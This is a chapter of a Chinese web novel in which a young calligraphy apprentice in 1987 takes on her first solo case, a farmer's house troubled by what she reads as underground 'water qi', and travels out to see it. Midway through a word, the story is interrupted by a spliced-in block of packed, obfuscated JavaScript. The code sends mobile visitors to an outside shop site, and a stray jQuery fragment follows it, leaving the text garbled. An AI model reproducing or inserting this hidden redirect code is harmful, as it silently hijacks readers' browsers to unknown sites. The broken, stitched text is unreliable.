一九八七年，二月初九。
周伯年出门了。
他每年这个时候都要去一趟县城，取订阅的《书法》杂志，顺便看看有没有新出的字帖。以前一天就回来，这次说要待两天。
"练。"走之前他只交代了一个字。
张清点头。
那天下午，有人敲门。
张清正在书房里写"永"字书空。听到敲门声，她放下手，走到院门口。
门外站着一个中年男人。四十来岁，黑脸膛，穿一件半旧的军绿棉袄，领口磨出了白边。手上沾着泥，指甲缝里全是黑的。裤腿上卷着干泥巴，一看就是走了不少路来的。
"请问，周先生在吗？"
"周老师出门了。"张清说。"明天才回来。"
男人脸上闪过一丝犹豫。他往院子里看了一眼，好像在确认周伯年是不是真的不在。
"那，我明天再来。"
他转身要走。
"等等。"张清说。"您是来看事的？"
男人停住了。回头看了张清一眼。一个小孩。十二岁，瘦，穿着蓝布棉袄，站在院门口。
"你，是周先生的……"
"学生。"张清说。"周老师不在，您要是不急，可以跟我说。"
男人又犹豫了一下。
张清没有催他。她就站在那里，安安静静地看着对方。
周伯年教过她，"别人犹豫的时候，你不要说话。你一说话，他就跑了。你就站着，等他自己开口。"
果然。男人站了半分钟，叹了口气。
"也不是什么大事。就是，家里不太平。"
"怎么个不太平法？"
"我姓赵，赵庄的。"男人说。"离这儿十五里地。我家老宅子，三年前开始不对劲。先是牲口不安生，鸡半夜叫，猪撞圈。后来人也跟着不舒服，我爹老做噩梦，我媳妇夜里睡不着觉。小女儿才五岁，晚上老哭，说害怕。盖三床被子还冷。但屋里不冷啊，我烧了土炕，墙都是热的。就是觉得潮。墙皮都起泡了，一块一块往下掉。"
"找的谁？"
"镇上有个看风水的，姓钱。来看了一趟，说宅子朝向不对，让我把大门改了。改了，没用。后来又找了个老太太，说是能通灵。来了烧了一堆纸，念叨了半天。更没用。反而我爹那天晚上更难受了，说梦里多了个人，穿黑衣服的，站在他床边。"
张清听着，没有打断。
"我这次来，是想请周先生去看看。但——"
他看了张清一眼，没说下去。
"赵师傅。"张清说。"您家的宅子，是坐北朝南？"
男人愣了一下。"你怎么知道？"
"你们赵庄在北坡上，老宅子都是坐北朝南。"张清说。"鸡半夜叫，是子时还是丑时？"
"子时。差不多十一二点的样子。"
"猪撞圈，白天的猪还是晚上的猪？"
"白天的。"
"您爹做噩梦，梦里有没有什么声音？别的声音，不像人说话的。"
赵师傅的眼睛瞪大了。
"有！"他说。"我爹说，梦里老听见水声。像水流的声音。但宅子附近没有河啊！"
张清点了点头。
水声。
她"意"读到了什么。跟鬼邪无关。是"气"，水气。宅子下面，可能有水。
"赵师傅。"张清说。"我明天跟您去一趟赵庄。"
"你——"男人又犹豫了。
"周老师不在。"张清说。"您要是等不及，我可以去看看。看不看得准，您自己判断。"
她说这话的时候，语气很平。
赵师傅看了她一会儿。
"行。"他说。"明天我在村口等你。"
赵师傅走后，张清在院门口站了一会儿。二月的风还冷。院子里的枣树光秃秃的，枝杈在风里轻轻摇。厨房那头传来母亲炒菜的声音，锅铲碰铁锅，嚓嚓响。
第一次。一个人出门看事。
谈不上怕。周伯年教了她两年，读帖、心摹、笔胆、书空，该学的都学了。但"学了"和"用了"不是一回事。就像在池子里学会了游泳，下河是另一回事。
她回到书房，坐在桌前，闭上眼，回想刚才的对话。
鸡半夜叫，子时。子时属水，水气最旺。鸡属阳，水气冲了阳气，鸡就不安。猪撞圈，白天阳气重，但宅子里水气太盛，阳气被压住了。猪感觉得到，就躁。爹做噩梦，梦里有水声。那更像是"气"进到了梦里。水气郁结在宅子里，人睡着之后，气入经脉，走心包经，心包受扰，就做噩梦。
那个看风水的说大门朝向不对，不对。问题在地下。那个老太太烧纸念咒，搅动了宅子里本来就不稳的"气"，水气更乱了，所以老人反而更难受。
张清睁开眼。
她想起周伯年说过的话，"看事，先看气。气对了，什么都好说。气不对，什么都不对。"
赵家宅子的"气"，不对。水气郁结，从地下往上渗。原因可能是地下有暗河，或者老井堵了，或者地势低洼积水。
她得去现场看看。
晚上，父亲张立本下班回来。
张清把赵师傅的事说了。
父亲背手站在堂屋门口，抽了半根烟。
"你一个人去？"
"嗯。"
"多远？"
"十五里。赵庄。"
父亲沉默了一会儿。
"带钱。"他说。"坐车去。到了少说话，多看。看完了再说。"
他掐灭烟头，停了一下。
"你爷爷当年出门看事，从来不空手去。带一支笔。自己的笔。"
张清想了想，明白了。自己的笔，"意"走得更顺。
"知道了。"
父
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809196|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
亲转身往卧室走。走到一半，停下了。
"张清。"
"嗯？"
"你爷爷也是这个岁数开始出门的。一个人去的。"
他没再说什么。推门进了卧室。
张清坐在堂屋里，月光照在八仙桌上。
她站起来，走到书房，打开布盒子，拿出乌木笔。笔杆温润。掌心传来一下、两下、三下的跳动。
笔胆还活着。
她把笔放进棉袄内袋，贴着胸口。暖的。
第二天一早。
母亲做了面条，卧了两个鸡蛋。宽宽的手擀面，浇了葱花酱油，鸡蛋煎得两面金黄。
"吃完再走。"母亲说。"赵庄远，别饿着。"
张清低头吃面。母亲站在旁边，看着她吃。她没有问张清去干什么。她知道，但从来不说破。
"棉袄穿厚了没有？"
"穿了。"
"早点回来。"
"嗯。"
张清吃完面，揣上乌木笔，走到院门口，回头看了一眼。母亲站在厨房门口，围裙还没解下来。
"去吧。"
张清出了厂区大门，往东走。
二月的早晨，天刚蒙蒙亮。路上还没什么人，只有远处车间传来隐约的机器声。空气冷，呵出来是白气。门口的老杨树光秃秃的，枝丫上挂着一层霜。
她裹紧棉袄，往东走。脚下的路是碎石子铺的，踩上去嘎吱嘎吱响。路两边的沟里还有残雪，脏兮兮的灰白色。
走了十分钟，到了公路边的班车停靠点。
她站在路边等。天慢慢亮了。东边的天际线泛出了灰白色。
她把手伸进棉袄内袋，摸了摸乌木笔。笔杆在跳。一下。两下。
在说，走吧。
班车来了。张清上了车，找了个靠窗的位置坐下。车开动了。窗外的风景往后退，厂区、田地、小河、矮树。
车上人不多。后排坐着两个提篮子的大婶，低声说话。前排有个老头靠着窗打瞌睡。
张清把窗户推开一条缝。冷风灌进来，脸上凉飕飕的。
田里的麦苗还矮，绿油油的一片。远处有几间土坯房，房顶上晒着玉米秸秆。再远处是山，灰蒙蒙的，像一道坎挡在天边。
过了厂区围墙，路变窄了。一边是排水沟，另一边是山坡，坡上长了杂草和几棵歪脖子松树。走了大约二十分钟，路开始上坡。张清的布鞋底子薄，能感觉到脚底下每一颗石子的形状。
下坡的时候路更难走。碎石子铺了一层，踩上去打滑。她找了根树枝当拐棍，一步一步往下挪。坡底有条小河沟，水很浅，她踩着石头过了沟，鞋面溅了水，湿了一块。
过了沟就是土路了。路两边种着杨树，光秃秃的枝丫伸向天上。树干刷了白灰，一人多高的位置齐刷刷一道白。
十五里。
第一次。
一个人。